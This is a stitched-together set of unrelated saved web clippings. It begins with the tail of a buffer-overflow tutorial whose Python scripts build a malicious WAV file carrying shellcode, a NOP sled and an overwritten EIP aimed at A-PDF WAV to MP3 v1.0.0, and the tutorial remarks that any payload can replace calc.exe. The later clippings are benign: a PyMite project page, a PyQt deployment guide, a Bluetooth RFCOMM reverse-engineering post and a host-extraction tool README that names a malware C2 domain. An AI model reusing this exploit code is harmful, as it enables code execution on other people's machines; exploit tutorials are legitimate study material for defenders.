    "\xf8\x4f\x8f\x1c\x7f\x50\x5a\x59\x81\xa1\x57\x74\x15\x18\x02"
    "\x35\x78\x9b\xf8\x7a\x84\x18\x09\x03\x73\x00\x78\x06\x38\x86"
    "\x90\x7a\x51\x63\x97\x29\x52\xa6\xf4\xac\xc0\x2a\xd5\x4b\x60"
    "\xc8\x29\x9e");
    sploit = (buff + eip + shellcode);
     
    try:
        f1 = open("Dr_IDEs5.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

Perfect\! We have finished. This is what you’re thinking … but actually the
exploit still not work. Analysing with OllyDbg we note that only the 17th
character of the shellcode is present in the EIP:

[code]

    034CFE90  97 FE 4C 03 1B 00 DA 03   —þL.Ú
    034CFE98  00 00 00 00 00 00 FF FF   ......ÿÿ
    034CFEA0  **83 EB FC 31 43 0D 03 43**   ƒëü1C.C
    034CFEA8  **5A 58 0D B7 8C 15 EE 48**   ZX.·ŒîH
    034CFEB0  **4C 46 66 AD 7D 54 1C A5**   LFf­}T¥
    034CFEB8  **2F 68 56 EB C3 03 3A 18**   /hVëÃ:
[/code]

So nops “\ x90″ are necessary now in order to switch the code of 16 bytes and
to run the shellcode from the beginning:

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:	Dr_IDE
    # Tested On:    XPSP3
    # Date:		August 18, 2010
    # Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:	http://www.exploit-db.com/exploits/14676/
    # Usage:	Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
    # It Doesn't Work
     
    buff = ("\x41" * 4128);
    # 76bc6d53
    eip = ("\x53\x6d\xbc\x76");
    nops = ("\x90" * 16);
    shellcode = ("\x33\xc9\xb8\x57\xba\xf8\x4b\xdb\xda\xb1\x33\xd9\x74\x24\xf4"
    "\x5b\x83\xeb\xfc\x31\x43\x0d\x03\x43\x5a\x58\x0d\xb7\x8c\x15"
    "\xee\x48\x4c\x46\x66\xad\x7d\x54\x1c\xa5\x2f\x68\x56\xeb\xc3"
    "\x03\x3a\x18\x50\x61\x93\x2f\xd1\xcc\xc5\x1e\xe2\xe0\xc9\xcd"
    "\x20\x62\xb6\x0f\x74\x44\x87\xdf\x89\x85\xc0\x02\x61\xd7\x99"
    "\x49\xd3\xc8\xae\x0c\xef\xe9\x60\x1b\x4f\x92\x05\xdc\x3b\x28"
    "\x07\x0d\x93\x27\x4f\xb5\x98\x60\x70\xc4\x4d\x73\x4c\x8f\xfa"
    "\x40\x26\x0e\x2a\x99\xc7\x20\x12\x76\xf6\x8c\x9f\x86\x3e\x2a"
    "\x7f\xfd\x34\x48\x02\x06\x8f\x32\xd8\x83\x12\x94\xab\x34\xf7"
    "\x24\x78\xa2\x7c\x2a\x35\xa0\xdb\x2f\xc8\x65\x50\x4b\x41\x88"
    "\xb7\xdd\x11\xaf\x13\x85\xc2\xce\x02\x63\xa5\xef\x55\xcb\x1a"
    "\x4a\x1d\xfe\x4f\xec\x7c\x95\x8e\x7c\xfb\xd0\x90\x7e\x04\x73"
    "\xf8\x4f\x8f\x1c\x7f\x50\x5a\x59\x81\xa1\x57\x74\x15\x18\x02"
    "\x35\x78\x9b\xf8\x7a\x84\x18\x09\x03\x73\x00\x78\x06\x38\x86"
    "\x90\x7a\x51\x63\x97\x29\x52\xa6\xf4\xac\xc0\x2a\xd5\x4b\x60"
    "\xc8\x29\x9e");
    sploit = (buff + eip + nops +  shellcode);
     
    try:
        f1 = open("Dr_IDEs6.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

**pwned \!**

Obviously instead of calc.exe we can put what we want as shown in the video:

The first tutorial finishes here.

See you.  
Michele \`m7x\` Manzotti

References: Corelan.

# python-on-a-chip - Project Hosting on Google Code

**Created:**| _6/20/2010 10:34:10 PM_  
---|---  
**Updated:**| _6/20/2010 10:34:34 PM_  
**Author:**| __  
**Tags:**| _Embedded python programming_  
  

Welcome to the Python-on-a-Chip Project\!

This project's goals are to develop the PyMite virtual machine, device
drivers, high-level libraries and other tools to run a significant subset of
the Python language on microcontrollers without an OS. Please join the python-
on-a-chip google group to discuss this project

Latest news:

  * 2010/01/07 \(r404\) New feature: Closures. Also allows decorators with an argument.
  * 2009/12/21 The first reference platform, mbed, is in stock at Digikey, Mouser, Future and others.
  * 2009/12/14 \(r393\) New platform: STM32
  * 2009/09/26 \(r386\) New feature: String format \(`%`\) using %d,s,f format chars.
  * 2009/09/07 \(r372\) New feature: The backtick operator \(`s=`x``\) for integers and floats.
  * 2009/09/06 \(r371\) New feature: String concatenation using `+`.
  * 2009/06/15 Steve Holden of the PSF granted this project permission to include the official Python logo in a derived work for the Python-on-a-Chip logo \(seen above, to the left of the project title\).
  * 2009/05/17 \(r364\) New feature: Generators with iterators, expressions and coroutines
  * 2009/05/13 The first reference platform, mbed was delivered to 10 developers.
  * 2009/04/28 \(r356\) New feature: Classes with multiple inheritance
  * 2009/04/20 PyMite 08 was released.
  * 2009/02/21 Delivered Lightning talk at PyCon 2009

Features of the PyMite VM:

  * Requires roughly 40 KB program memory
  * Initializes in 3KB RAM; print "hello world" needs 4KB; 8KB is the minimum recommended RAM.
  * Supports integers, floats, tuples, lists, dicts, functions, modules, classes, generators, decorators and closures
  * Supports 25 of 29 keywords and 89 of 112 bytecodes from Python 2.5
  * Can run multiple stackless green threads \(round-robin\)
  * Has a mark-sweep garbage collector
  * Has a hosted interactive prompt for live coding
  * Licensed under the GNU GPL ver. 2

The PyMite VM DOES NOT HAVE:

  * A built-in compiler
  * Any of Python's libraries \(no batteries included\)
  * A ready-to-go solution for the beginner \(you need to know C and how to work with microcontrollers\)

The release can be downloaded from the **Downloads** tab above. However, we
recommend checking out the head of the subversion repository.

# How-to: Deploying PyQt applications on Windows and Mac OS X

**Created:**| _1/11/2010 3:00:30 PM_  
---|---  
**Updated:**| _1/11/2010 3:01:22 PM_  
**Author:**| __  
**Tags:**| _windows python programming Mac-hacking qt_  
  

## How-to: Deploying PyQt applications on Windows and Mac OS X

Ars delves into the arcane depths of cross-platform application deployment in
this detailed tutorial which will teach you how to package PyQt software for
Windows and Mac OS X.

By Ryan Paul | Last updated March 19, 2009 12:28 AM
  * Text Size <img src='img/Temp2_4128.png' alt='Decrease Text Size' /> <img src='img/Temp2_4131.png' alt='Increase Text Size' />
  * Download PDF \(Subscribers Only\)
  * Print this article
  * View on one page \(Subscribers Only\)
  * Leave a comment

<img src='img/Temp2_4130.png' />

The open source Qt development toolkit is a popular choice for cross-platform
development. It provides native-looking widgets and tight integration with the
underlying platform on Windows, Linux, and Mac OS X. Qt applications that are
written in C++ are easy to compile and deploy across all three platforms, but
what if you don't like C++? I prefer Python, a dynamic programming language
with a richly expressive syntax and exceptionally powerful support for
introspection.

Fortunately, there are cross-platform Python bindings for Qt. The downside,
however, is that packaging PyQt applications so that they can be deployed to
users on Windows and Mac OS X is an immensely frustrating and arcane process.
I declared victory last week after spending several hours battling with
MacPorts and distutils. Now that I have unlocked the toolkit's dark mysteries,
I can show you the hidden secrets that will allow you to achieve mastery of
the alchemical art of cross-platform PyQt application deployment.

First, you'll need access to each platform for which you want to build
redistributable packages. The easiest way to accomplish this is to use a Mac
and either triple-boot or virtualize Windows and Linux. The initial setup
process for Mac OS X will require a lot of very heavy compilation, so you are
going to be in for a world of pain and a very long wait if you try to do this
on a Mac mini.

## My test application

My computing environment is a quad core Mac Pro configured to dual-boot OS X
and openSUSE 11.1. For Windows, I'm running XP in VirtualBox. I do most of my
actual development in Linux, but you can do it pretty comfortably on any of
the platforms.

My test application, which I call Orbital Liftr, is a simple utility that I
made for batch uploading graphics to Ars Technica's content management system.
The Ars CMS is built on Movable Type, which means that it supports the
MetaWeblog XML-RPC API, and my app lets you upload images to any standard
Movable Type or Wordpress blog that supports the API. The app has a few simple
features like support for receiving images via drag-and-drop, and it can
proportionally resize them before uploading.

The program consists of one module of Python code which contains the
application logic and a few basic user interface forms that I made with the Qt
Designer program. I have published the complete source code of the program on
Launchpad. You can use it to follow along with this tutorial, or you can use
your own code.

## PyQt on Windows

<img src='img/Temp2_4129.png' />

To build a distributable PyQt package for Windows, you first need to set up a
working PyQt execution environment. Start by downloading and installing the
standard Qt SDK from the Qt Software website. Next, you will need to install
Python 2.6.1. Use the binary installer for Windows from the Python website.

The next step is installing the Python bindings, which can be obtained from
the download page at the PyQt website. You'll want to get the Windows
installer that is compatible with Python 2.6; it's listed at the bottom of the
Binary Packages section.

These components should be enough to give you a fully functional environment
for running PyQt applications. You can test it by making a simple PyQt
application with a few widgets in a single .pyw file. If your PyQt environment
installed correctly, you should be able to run the program by double-clicking
the .pyw file in the file manager. There are several example scripts that come
bundled with the PyQt installation. These can be found in the site-
packages\PyQt4\examples folder.

Now that you have a working PyQt environment, you need to package up the
application so that you can distribute it to users and make it possible for
them to run it without having to install all of the dependencies. This is done
with a utility called py2exe that leverages Python's distutils framework. An
installer for py2exe is available from the SourceForge website.

You will need to adapt your setup.py script so that it can provide proper
instructions to py2exe. If your program is simple and you already know how to
use distutils, this shouldn't be terribly hard. The following example shows my
setup.py file:

[code]

    from distutils.core import setupimport py2exesetup(name="liftr",      version="0.1",      author="Ryan Paul",      author_email="segphault@arstechnica.com",      url="https://launchpad.net/liftr",      license="GNU General Public License (GPL)",      packages=['liftr'],      package_data={"liftr": ["ui/*"]},      scripts=["bin/liftr"],      windows=[{"script": "bin/liftr"}],      options={"py2exe": {"skip_archive": True, "includes": ["sip"]}})
[/code]

Most of that is pretty much standard distutils. The last two lines were added
to accommodate py2exe. The "windows" parameter specifies the script that
py2exe should use to launch the actual program. As you can see, for a simple
program that is being ported from Linux, it's the same thing that you already
have in your "scripts" parameter.

The "options" parameter allows you to pass specific instructions to py2exe.
For PyQt applications, you will need to tell it to include sip, a fundamental
component of the PyQt binding system.

The py2exe tool will typically compress all of your required Python library
modules into a single zip file in order to reduce space and keep your
redistributable package clean. I disable that with the skip\_archive option.
My program dynamically loads the user interface description XML files at
runtime, but it can't read those files when they are bundled up in the zip
archive.

When you are building PyQt applications with py2exe, you need to either
statically generate your user interface modules from the XML description files
in advance, disable archiving with the skip\_archive option, or structure your
program so that the UI files will not end up in the archive.

After you finish making your setup.py script, you can build your
redistributable package by running it from the command line:

[code]

    $ python setup.py py2exe
[/code]

The terminal will display a lot of messages as it byte-compiles your modules
and copies all of the necessary dll files and other dependency components. The
automated setup process will take place in the "build" directory and
everything that your users need will be copied into the "dist" directory. If
the script won't execute, make sure that Python is in your PATH environment
variable.

To deploy your application to users, ship them everything that is in the
"dist" directory. This adds up to roughly 25 MB for a simple program. It
includes the executable and all of the runtime dependencies, which means that
users will be able to run the program without having to install the other
components.

You can just zip it up and ship it out that way, but it will be more
convenient for your users if you give them a single self-standing executable
with a standard installer wizard. A lot of PyQt developers seem to like Inno
Setup, a free installer maker.

Although your users will not have to manually install Qt or the PyQt bindings,
they might still have to install the VC++ 2008 Redistributable Package. This
package is available directly from Microsoft.

Deploying PyQt on Windows works reasonably well. Inno Setup uses good
compression, so you can get your final package down to an acceptable size and
make it easy for users to install. The biggest challenge is getting py2exe to
deal appropriately with certain kinds of corner cases.

If your application is complex or structured in an unusual way, you might run
into problems. For example, py2exe doesn't respect the distutils package\_data
option. There are a few workarounds for problems of that nature, and you can
get more details about py2exe from the project's website.

  

Deploying PyQt on Mac OS X was much harder than I initially expected. There
are several tutorials out there that explain how to deal with specific
problems that people commonly encounter during the setup process. After much
struggling, I managed to get a working PyQt build environment set up on OS X
by using information I discovered in several of the tutorials.The goal is to
produce a totally self-contained app bundle that will allow users to drag your
program into their /Applications folder and treat it like any other piece of
Mac software. You can do this with py2app, a utility that is very similar to
py2exe. Unfortunately, you will encounter serious versioning problems if you
try to make a PyQt app bundle with the native Python installation that is
included with the operating system.After several false starts, I discovered
that the only way to get a PyQt environment that works properly with py2app is
to compile the whole bloody stack from MacPorts. This is especially tricky
because you have to make sure to configure your environment to use the
MacPorts version of Python  _before_ you use MacPorts to compile the PyQt
bindings. If you do this step at the wrong time, then nothing will work. I had
to try three times before I got it right.The basic steps for using MacPorts to
get a PyQt environment were published by Aral Balkan in his py2app tutorial.
The order in which he lists the steps  _did not work for me_ because his
instructions tell you switch to the MacPorts version of Python at the wrong
time. The result was that I consistently got a "Bus Error" when I attempted to
run my program.I'm apparently not the first person to encounter this error.
When I Googled the message, I discovered a really helpful blog entry by
Horacio Mijail Antón Quiles. As he explains, the problem is caused when
MacPorts uses the system's native Python installation to build the PyQt
bindings. It's absolutely imperative that you configure the environment to use
the right version of Python before you build the Python-based dependencies.To
switch to the MacPorts Python installation, you have to run the python\_select
command. After you use python\_select, the desired Python environment will be
used every time you invoke Python for the rest of the shell session. The
following are exactly the steps that I took at the command line to get a
working PyQt setup on Mac OS X:$ sudo port install python25$ sudo port install
python\_select$ sudo python\_select python25$ sudo port install py25-macholib-
devel$ sudo port install py25-sip$ sudo port install py25-pyqt4$ sudo port
install py25-py2app-devel$ sudo port install py25-pyqtThis will take a very
long time to compile, even on a fast computer. After it finishes, you will be
able to test it by opening a terminal, running the "python\_select python25"
command, and then running a PyQt script from the command line.The process
above will automatically compile and install py2app from MacPorts, so you
won't have to manually do so with additional steps. After this process is
complete, you'll be ready to build your app bundle. For py2app, you will use
setuptools instead of distutils. This means that you have to create a separate
setup.py file. I call mine setup-mac.py.The py2app suite comes with a utility
called py2applet that you can use to automatically generate the setup.py file,
but it's pretty easy to write one by hand. The following is my setup-mac.py
file:from setuptools import setupsetup\( app=\["liftr/liftr.py"\],
options=\{"py2app": \{"argv\_emulation": True, "includes": \["sip",
"PyQt4.\_qt"\]\} \}, setup\_requires=\["py2app"\]\) The app parameter is the
main Python module that you want the bundle to run when the program launches.
The includes are the high-level components that you want the program to
bundle; we need the sip binding layer and the actual PyQt4 bindings.The
argv\_emulation option is a nifty hack that will improve native platform
integration. When the user puts your app in their dock, they will be able to
launch it by clicking it or by dragging and dropping files onto the icon. The
argv\_emulation option will take the full paths of the files that are dropped
onto the icon and translate them into argv parameters so that your application
can process the files.After you finish writing your setup-mac.py file, you can
run it from the command line:$ python setup-mac.py py2appThis will byte-
compile the modules and generate your app bundle. It will use the build
directory for the construction process and then it will put the output in
dist, just like py2exe. The resulting app bundle is a soul-crushing 85MB. I
tried several things to reduce the total size, but I didn't really have much
luck.I used the ditto tool to strip out PPC code, but that didn't decrease the
size at all. Next, I tried Trimmit, which was able to scrape off about 10MB,
but broke the program in the process. The only thing you can really do to
ameliorate the large executable size is compress the app bundle when you make
it available for download. Zipping the app bundle reduced its size to about
30MB.My problems didn't end there. Although the application worked fine on my
own computer, it didn't entirely work properly on other computers. The main
problem is that jpeg thumbnails didn't render at all. After some
troubleshooting, I discovered that Qt's jpeg image support is implemented in a
plugin. I tried to put the Qt plugin directory into my app bundle, but I
couldn't get it to work.I did some searching and I found a recent blog entry
about this problem written by Tory Hoke. She apparently never found a solution
to the problem and decided instead to work around it by converting jpeg images
to PNG on the fly. This is probably what I will do too, because my program is
already using PIL for some image transformations anyway. The lack of support
for plugins in py2app applications is a pretty big problem because it means
that a lot of other critical functionality, such as Phonon, isn't going to be
accessible.It's worth noting that this same jpeg problem also impacts Windows
builds in some cases, but there is aworking solution that will allow programs
to use plugins on Windows.PyQt is clearly unsuitable for building
distributable Mac applications, and you're probably better off taking a more
native approach for Mac ports. For instance, you can use Apple's Cocoa
bindings for Python to build a Mac GUI on top of your Python code. Apple
provides full support for this throughout the native Mac development tool
stack, so you can do it with XCode and Interface Builder.Some closing thoughts
about PyQtMy development framework of choice has traditionally been PyGTK+, so
I'm still mostly at the toe-dipping stage with PyQt. My initial sense is that
there are a lot of advantages to using PyQt and a lot of disadvantages.Qt
itself is a significantly richer and more powerful toolkit than GTK+. It
offers really robust and mature implementations of important features that the
GTK+ developers are only just now beginning to experiment with, such as
comprehensive CSS theming, a powerful canvas with input redirection, tightly
integrated support for the WebKit HTML renderer, and scriptable extensibility
with JavaScript. Qt is also more conducive to portability and provides a more
native look and feel on supported platforms.Although I'm pretty much sold on
Qt, the Python bindings leave a lot to be desired. PyQt is not developed or
supported by Nokia. It's a third-party commercial project \(developed and
maintained by Riverbank Computing\) that is basically one big hack. There are
some weird limitations in the APIs and the bindings have a lot of really
grotesque C++ idioms that seep through to the Python side. The most hideous
wart is that you have to put the entire C++ method type signature in a string
when you bind a signal. If you put in the type data wrong, then the connection
will silently fail.The other downside of the PyQt bindings is that they are
still distributed under the GPL, unlike Qt, which was recently moved to the
more permissive LGPL. This means that you have to buy a commercial PyQt
license from Riverbank Computing if you want to build proprietary software
with the bindings.There are several useful tools that might be of value to
PyQt application developers. There is a complete integrated development
environment called Eric4 that is built with PyQt and is designed specifically
for PyQt development. It has refactoring tools, a built-in graphical
breakpoint debugger, basic autocompletion support, and a lot of other
goodies.After spending several days working with PyQt and packaging the
applications for deployment on Windows and Mac OS X, I feel that—despite its
significant limitations—it's an acceptable solution for a certain class of
applications. If you are looking for a toolkit for building a GUI on top of
some existing Python code and you want to be able to deploy the program on
Windows and Linux, then PyQt might do the trick.

  *[March 19, 2009 12:28 AM]: 2009-03-19T5:28:16Z

# Travis Goodspeed's Blog: Introduction to Bluetooth RFCOMM Reverse
Engineering

**Created:**| _12/11/2011 10:30:26 AM_  
---|---  
**Updated:**| _12/11/2011 10:30:26 AM_  
**Author:**| __  
**Tags:**| _reversing signal_  
  

## Sunday, December 4, 2011

###  Introduction to Bluetooth RFCOMM Reverse Engineering

by Travis Goodspeed <travis at radiantmachines.com>  
with thanks to Alexei Karpenko  
  
<img src='img/Temp2_8442.jpg' width='240' height='211' alt='Spot Connect
(cropped)' />  
  
Reverse engineering a Bluetooth device is rather straightforward, but quite a
few good neighbors don't know where to begin. This article demonstrates
exactly how an Android client was reverse engineered in order to produce open
source clients in Python and QT Mobility. I'm writing with the assumption that
you are trying to reverse engineering your own device, which is similar but
not identical to mine. As this is an introductory guide, I'll stay clear of
any code reverse engineering, sticking only to network traffic.  
  
The subject of this article is the Spot Connect, which transmits one-way text
messages and GPS coordinates by L-band to the GlobalStar satellite
constellation. These messages are then forwarded by email or SMS. Except in
its emergency mode, the device is operated through Bluetooth by a smart phone.
Thanks to Android's use of the Bluez bluetooth stack, it is rather easy to get
the necessary traffic dumps.  
  
Kind thanks are due to Alexei Karpenko \(Natrium42\) for his article on SPOT
Reverse Engineering, which covers the original SPOT unit in excellent and
thorough detail. It was his article that got me looking at the Spot Connect,
and his description of the GPS format saved me quite a bit of travel for
sample collection.  
  
<img src='img/Temp2_8447.jpg' width='375' height='278' alt='GlobalStar Beacon'
/>  
  

### Sniffing RFCOMM

  
The first step is to load the official client onto a rooted Android phone, in
my case a Nexus S. I had to swap SIM cards as my Brazilian one put me in a
region of the Android market that didn't have the application. Switching to a
Swiss card fixed this, and a moment later the app was installing.  
  
<img src='img/Temp2_8444.jpg' width='135' height='240' alt='SPOT Connect' />  
  
The Spot Connect uses RFCOMM, which is Bluetooth's alternative to a TCP socket or a UART. As it is easy to prototype and always delivers packets in order, RFCOMM has become the standard way of implementing custom protocols. To sniff the traffic before knowing the mode, we'll use hcidump running in a debugging shell of the phone. For this, run _adb shell hcidump -X | tee spotlog.txt_ on your workstation, send a transmission, and watch the result in the log.  
  
The message being sent stands out as ASCII, of course, so it's the first thing
to look for. With no knowledge of the HCI protocol, you can still be sure that
you have a cleartext recording.  
  
<img src='img/Temp2_8438.jpg' width='400' height='240' alt='HCIDump
Screenshot' />  
  

[code]

    35 00 40 00 0b ef 63 aa 31 26 01 00 01 00 01 4d  5.@...c.1&.....M  
    72 2e 20 57 61 74 73 6f 6e 2c 20 63 6f 6d 65 20  r. Watson, come   
    68 65 72 65 2e 20 49 20 77 61 6e 74 20 74 6f 20  here. I want to   
    73 65 65 20 79 6f 75 2e 9a                       see you..
[/code]

  
From Alexei's article, you can expect that frames inside of RFCOMM will begin
with 0xAA, followed by a length, followed by a verb and the objects. These
bytes will be wrapped in padding on the outbound end, and they'll be
fragmented on the inbound end. Sure enough, these are the bytes that come
before the word \`\`Watson'':  

[code]

    aa Preamble  
    31 Length  
    26 Verb  
    01 00 01 00 01 Flags (OK, Check In)  
    4d 72 2e 20 57 ASCII Message (abbreviated)
[/code]

  
Counting 0x31 bytes out, notice that the packet ends exactly on a byte of the
ASCII message, without a checksum\! By looking for bytes of AA and searching
for length, with allowances for packet fragmentation and the RFCOMM wrapper,
it becomes possible to decode every command and its matching response.  
  
Be aware that responses will be fragmented more than transmissions. If you
need to reverse engineer longer transactions or have a more complete log, it
will be handy to have a script to reassembly from the HCI frames. In those
cases, toss together a proper HCI decoder to get a more accurate
interpretation of the records.  
  
Looking through the entire log, it the protocol appears to be as follows.
First, the client queries the Device ID with verb 0x01, using the exact same
format as Alexei's article. Then it uses verb 0x25 to query the last known
position of the device, which will be returned in the style that Alexei
reverse engineered from the original unit. Use pen and paper to decode these
transactions from my Python client.  
<img src='img/Temp2_8440.jpg' width='338' height='100' alt='Location Query' />  
  

### First Implementation

  
With these recordings in hand, the complete language can now be described and
implemented. Luckily, three verbs make for a quick implementation\!  
  
I use py-bluez for prototyping such implementations, as its rfcomm-client.py
example is simple enough to get a working client in minutes. As py-bluez is
specific to Linux, Mac users might prefer lightblue.  
  
For simplicity, cut the UUID code or switch it to RFCOMM's UUID, which is
00001101-0000-1000-8000-00805F9B34FB. For a list of all services on a device,
run 'sdptool records $adr'. This only lists those which are publicly announced
by SDP, the Service Discovery Protocol. To scan for unadvertised services, try
BT Audit from Collin Mulliner.  
  
**0x01 -- Get ID**  
A minimal test client will just test the serial number of the device. To do
this, simply send "\xAA\x03\x01" and then catch the reply with verb 0x01.
Bytes 3, 4, 5, and 6 of the reply will contain the serial number in Big Endian
notation. For this first implementation, commands and their responses may be
handled synchronously for simplicity.  
  
Where self.tx\(\) takes a frame as its input and returns the response, this is
implemented in Python as the following. What could be simpler?  
<img src='img/Temp2_8437.jpg' width='253' height='116'
alt='SpotConnect.getid(self)' />  
  
**0x25 -- Get Last Position**  
Similar in calling convention, the 0x25 verb requests the last known GPS
position of the device. The coordinate format is exactly the same as in Alexei
Karpenko's Spot Hacking article, consisting of three bytes apiece to describe
latitude and longitude. The following is my C++ code for parsing the position
data, which has already been requested as "\xAA\x03\x25".  
  
<img src='img/Temp2_8441.jpg' width='391' height='360'
alt='SpotConnect::parsePosition(char*)' />  
  
**0x26 -- Transmit Text**  
Transmitting text is just as easy, with the Spot Connect handling all the work
after a message has been loaded. The following is Python code to transmit a
short text message with the OK message-code. This lacks length checks and
doesn't support the changing of flags, but it will work perfectly well for a
test.  
  
<img src='img/Temp2_8439.jpg' width='376' height='94'
alt='SpotConnect.checkin()' />  
  
After the device receives this command, it will reply with an acknowledgment
and then begin to attempt transmissions at irregular intervals. Each
transmission consists of a number of fragments, such that the packet can be
reassembled so long as one copy of each fragment makes it through. If you have
a clear view of the sky and have configured the first destination to be your
email address, you should receive a notification within a few minutes. If you
don't receive a notification by the time the mailbox icon has ceased blinking,
then the transmission failed.  
  
**Other Verbs**  
These three verbse--0x01, 0x25, and x026--are sufficient to implement a
minimal client for the Spot Connect. If you'd care to help out, it would be
useful to have more documentation for the flags of the 0x26 verb, as well as
documentation for 0x52, 0x40, and 0x38. By scanning and listening for error
codes, it should be possible to get a complete list of those verbs that are
unused by the Android application.  
  
You can find my Python client at https://github.com/travisgoodspeed/pyspot .
It ought to run as-is on Linux with py-bluez, including the Nokia N900.  
  

### A Graphical Client

  
Now that the protocol has been sufficiently well documented to have a Python
implementation, it is worthwhile to rewrite it as a GUI. In my case, I wanted
a QT Mobility client for my Nokia N9. You can find my work in progress at
https://github.com/travisgoodspeed/goodspot.  
  
<img src='img/Temp2_8445.jpg' width='281' height='500' alt='Pacific Ocean' />  
  

### Other Methods

  
If hcidump isn't available for your platform, you might try Sniffing with a
USRP or reflashing a dongle to become a commercial sniffer. For a jailbroken
iPhone, see the iPhone Wiki's documentation.  
  
Another option would be to create a Bluetooth proxy, relying on the slim
authentication performed in the protocol. In this case, the proxy would open
all relevant port to the device being reverse engineered, ferrying commands
back and forth as a way to record them. You might also need to experiment with
changing the device class and, in the case of iOS devices, there is also a
lockout sequence that must be implemented.  
  
If none of that works for your device, you could sniff the UART lines that
come from the bluetooth module, shown here on the left board. This particular
module happens to be a BT23, and Page 8 of BT23\_Datasheet.pdf shows that pins
14 and 13 should be tapped to get a communications log.  
<img src='img/Temp2_8446.jpg' width='500' height='282' alt='SPOT Connect' />  
  
As a last resort, you could always ask for documentation. I didn't bother with
this because of my own impatience, but for some devices, such as the
Metawatch, documentation is freely available. More than once, a neighborly
vendor has been so kind as to give me the source code or documentation just to
be neighborly.  
  

### Future Work

  
This article will be followed with one on the physical layer protocol of the
SPOT, which I've been able to sniff thanks to some kind help from Michael
Ossmann. For a preview of that technique, you are welcome to stalk my SPOT
Connect Set on Flickr. The most neighborly of these shows individual bits from
a FunCube Dongle recording of the transmission. It's cleartext, of course.  
<img src='img/Temp2_8443.jpg' width='354' height='500' alt='Bits from SPOT
Connect' />  
  
Replacement firmware is also a possibility. The Spot Connect uses an
MSP430F5xx microcontroller with the standard USB bootloader, using a Java
client on Windows and an Objective C client on OS X. The firmware itself is
downloaded by HTTPS, and a copy could be acquired either by a MITM attack on
HTTPS or by asking the bootloader politely, using the password that is to be
found within the firmware update. Be careful when doing this to test on a unit
without a service contract, as service cannot be moved from one unit to
another and bricking is a distinct possibility.  
  

### Conclusions

  
I hope that this article has given you a decent overview of the methods for
reverse engineering Bluetooth RFCOMM devices. While my subject was the Spot
Connect, these methods would apply equally well to something like a GPS, the
Metawatch, Bluetooth chat applications, and multiplayer games. Other brands of
Bluetooth satellite communicators are available, and open documentation for
them would be quite handy. For a list of a few thousand potential targets,
search the Bluetooth SIG's Gadget Guide.

# bwall/ExtractHosts · GitHub

**Created:**| _4/22/2014 6:35:19 PM_  
---|---  
**Updated:**| _4/22/2014 6:35:19 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# ExtractHosts

Extracts hosts \(IP/Hostnames\) from files. Hosts can be extracted from text
files, PE, etc. Any file that keeps the host in plaintext without obscuring
it, this should extract it.

The name came about when polling random people on the street about the idea,
and they responded, "eh?". With this installed, all you need to type is 'eh'
to start pulling hosts from input.

#  Installation

[code]

    git clone https://github.com/bwall/ExtractHosts.git
    cd ExtractHosts
    sudo python setup.py install
    
[/code]

#  Examples

The following are just some example usages

[code]

    bwall@research:~$ eh -h
    usage: /usr/local/bin/eh [-h] [-v] [-r] [-f] [-d] [-T] [path [path ...]]
    
    Identifies and extracts domains and IPs from files
    
    positional arguments:
      path                  Paths to files or directories to scan (if not
                            supplied, stdin is the file being read)
    
    optional arguments:
      -h, --help            show this help message and exit
      -v, --version         show program's version number and exit
      -r, --recursive       Scan paths recursively
      -f, --show-files      Show file names along with results
      -d, --hide-duplicates
                            Hide duplicate results (hides per file when show-files
                            is enabled)
      -s, --strict          Stricter processing of domains
      -T, --test            Run some quick self tests
    
    /usr/local/bin/eh v1.1.0 by Brian Wallace (@botnet_hunter)
    
[/code]

[code]

    bwall@research:~$ wget http://bwall.github.io/ -qO- | eh -d
    bwall.github.io
    twitter.com
    gmail.com
    github.com
    README.md
    ajax.googleapis.com
    crypto-js.googlecode.com
    google-analytics.com
    
[/code]

##  malware

The 0686429b86844d9d1a14a159a0263b9bfcea4fd247c77537aa0278c9c5cb4ac3 file is a
sample of the POS malware, Dexter, created for demo purposes.

[code]

    bwall@research:~$ eh 0686429b86844d9d1a14a159a0263b9bfcea4fd247c77537aa0278c9c5cb4ac3
    houseofcarders.com
    
[/code]

##  File system recursion

[code]

    bwall@research:~$ eh -drf Downloads/PEStudio/
    /home/bwall/Downloads/PEStudio/PeStudioFunctionsDeprecated.xml  www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioFunctionsDeprecated.xml  msdn.microsoft.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListFunctions.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioEvasions.xml www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioIndicators.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/ChangeLog.txt    winitor.com
    /home/bwall/Downloads/PEStudio/ChangeLog.txt    www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioThresholds.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioWhiteListSections.xml    www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListLibraries.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioOrdinals.xml www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioVirusTotal.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioCodePages.xml    www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioCodePages.xml    msdn.microsoft.com
    /home/bwall/Downloads/PEStudio/PeStudioWhiteListLibraries.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioFeatures.xml www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudio.exe 6.0.0.0
    /home/bwall/Downloads/PEStudio/PeStudioSettings.xml www.winitor.com
